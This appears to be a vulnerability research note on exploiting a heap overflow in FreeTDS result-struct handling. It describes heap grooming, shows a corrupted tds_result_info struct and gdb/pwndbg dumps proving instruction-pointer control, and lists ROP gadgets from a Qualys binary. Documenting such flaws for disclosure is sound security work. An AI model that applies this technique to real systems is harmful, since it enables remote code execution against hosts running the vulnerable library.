The core idea behind the exploit is relatively simple: 1. We trigger a lot of calls to tds7_process_compute_result to allocate a couple of thousands tds_result_info structs. The only purpose of this is to close all holes in the heap. (alloc_result) 2. We then allocate the buffer that we are later going to overflow. At the moment this row buffer is simply sizeof(TDSBLOB) and one important improvement is to make sure that its going to end up with the same chunk size as tds_result_info (by adding more columns) 3. We then allocate a final tds_result_info struct, our target buffer using TDS5_PARAMFMT_TOKEN. This has the advantage that it will end up in tds->param_info and will be freed earlier than our corrupted buffer. 4. We trigger the overflow. If we achieved our assumed heap state, this will allows us to control the tds->param_info struct: $5 = {columns = 0x43434343, num_cols = 0, computeid = 17476, ref_count = 1, attached_to = 0x0, current_row = 0x45454545 , row_free = 0x46464646, row_size = 0, bycolumns = 0x0, by_cols = 0, rows_exist = 0 '\000', more_results = 0 '\000'} 5. We finally trigger a call to tds_free_result on our corrupted result struct. By controlling current_row and row_free we get a pretty nice EIP control in tds_free_results Program received signal SIGSEGV, Segmentation fault. 0x46464646 in ?? () (gdb) info registers eax 0x46464646 1179010630 ecx 0x2 2 edx 0x45454545 1162167621 ebx 0x5659ee3c 1448734268 esp 0xffffc89c 0xffffc89c ebp 0xffffc8c8 0xffffc8c8 esi 0xffffd090 -12144 edi 0x565b6ef1 1448832753 eip 0x46464646 0x46464646 eflags 0x10292 [ AF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) bt #0 0x46464646 in ?? () #1 0x5655b114 in tds_free_results (res_info=0x56622450) at mem.c:634 (gdb) x/1x $esp+4 0xffffc8a0: 0x56622450 (gdb) x/1x 0x56622450 0x56622450: 0x43434343 (gdb) x/2x $esp+4 0xffffc8a0: 0x56622450 0x45454545 Note that we control the function target, the second argument on the stack and that the first argument is a pointer to the start of our corrupted tds structure. ======= MD5 (/usr/local/qualys/ML-11.1.24-1/bin/ml) = ca7f7228787fe71573137a91ed91b8d9 0x0807f755 : pop ebp ; cld ; leave ; ret 0x080ab70f : pop ebp ; or al, 0x83 ; ret 0x080a87e7 : pop ebp ; std ; dec ecx ; ret LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────── EAX 0x46464646 ('FFFF') EBX 0x24ef7f4 ◂— 0x58664 ECX 0x6e5140 ◂— add byte ptr [eax], al EDX 0x9ecc988 ◂— 'CCCC' EDI 0x9ff4549 ◂— 0xff000002 ESI 0x9ff48c8 —▸ 0x9ff4908 ◂— 0x5 EBP 0xb0af4f68 —▸ 0xb0af4f88 —▸ 0xb0af4fa8 —▸ 0xb0af4fe8 —▸ 0xb0af5068 ◂— ... ESP 0xb0af4f3c —▸ 0x24ab484 (tds_free_results+281) ◂— add esp, 0x10 EIP 0x46464646 ('FFFF') ──────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────── 00:0000│ esp 0xb0af4f3c —▸ 0x24ab484 (tds_free_results+281) ◂— add esp, 0x10 01:0004│ 0xb0af4f40 —▸ 0x9ecc988 ◂— 'CCCC' 02:0008│ 0xb0af4f44 ◂— 0x45454545 ('EEEE') 03:000c│ 0xb0af4f48 ◂— 0x5 04:0010│ 0xb0af4f4c —▸ 0x24ab377 (tds_free_results+12) ◂— pop ebx 05:0014│ 0xb0af4f50 —▸ 0x9ff48c8 —▸ 0x9ff4908 ◂— 0x5 06:0018│ 0xb0af4f54 —▸ 0x9ff4549 ◂— 0xff000002 07:001c│ 0xb0af4f58 —▸ 0xb0af4f88 —▸ 0xb0af4fa8 —▸ 0xb0af4fe8 —▸ 0xb0af5068 ◂— ... ────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────── ► f 0 46464646 f 1 24ab484 tds_free_results+281 f 2 24ab218 tds_free_param_results+30 f 3 24ab5a4 tds_free_all_results+150 f 4 24b291a tds5_process_result+30 f 5 24afe4b tds_process_tokens+662 f 6 24b6b69 tds_set_spid+40 f 7 24b75bb tds_connect+2400 f 8 24b7658 tds_connect_and_login+31 f 9 249d5fc ct_connect+845 f 10 901535e aQA7ZdxNSWjiS+274 pwndbg> telescope 0x9ecc988 00:0000│ edx 0x9ecc988 ◂— 'CCCC' 01:0004│ 0x9ecc98c ◂— 0x44440000 02:0008│ 0x9ecc990 ◂— 0x0 ... ↓ 04:0010│ 0x9ecc998 ◂— 'EEEE' 05:0014│ 0x9ecc99c ◂— 'FFFF'